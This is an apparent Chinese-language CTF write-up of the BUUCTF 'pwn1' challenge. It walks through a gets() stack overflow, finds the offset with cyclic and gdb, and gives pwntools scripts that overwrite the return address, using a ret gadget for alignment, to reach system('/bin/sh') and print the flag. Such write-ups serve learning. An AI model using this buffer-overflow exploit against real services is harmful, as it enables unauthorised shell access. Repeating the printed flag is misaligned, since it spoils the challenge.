checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
- 拖到IDA64打开,找到main直接F5反编译。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
所以,gets()
可能存在栈溢出漏洞,但并不清楚如何利用
- 发现
fun()
,地址0x401186
int fun()
{
return system("/bin/sh");
}
- 所以只要将函数返回地址覆盖成
fun()
的地址即可获得shell。再回过头来看看需要gets多少字节的数据后才能开始覆盖返回地址。计算方法参考
首先cyclic 200
,生成以下
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
然后gdb pwn1
,进入调试环境后输入r
运行,当提示输入时将以上生成的字符串贴进来输入。
再x /wx $rsp
显示位于栈顶的内容
0x7fffffffdeb8: 0x61616761
输入q
退出调试环境,再cyclic -l 0x61616761
看看偏移量是多少
23
当然从IDA查看main的栈信息有
也能得到23这个结果,但是这种方法有时会不准确
所以理论上需要先"a"*23才能覆盖到返回地址
- 所以利用代码应为
from pwn import *
p = remote('node3.buuoj.cn', 28769)
payload = 'a'*23 + p64(0x401186)
p.sendline(payload)
p.interactive()
但是实际上跑不通,试了下payload = 'a'*15 + p64(0x401186)
能拿到flag。(雾
请教大佬并参考一、二、三后知,是Ubuntu18调用system()
时需要对其栈,需附加一个ret来保持堆栈平衡。在IDA中查得retn为0x401198
- 因此exp如下:
from pwn import *
p = remote('node3.buuoj.cn', 28769)
retn = 0x401198
payload = 'a'*23+p64(retn)+p64(0x401186)
p.sendline(payload)
p.interactive()
python exp.py
,进入交互环境直接ls
cat flag
flag{c2ae0909-bd05-44b6-b674-cfdb8386302e}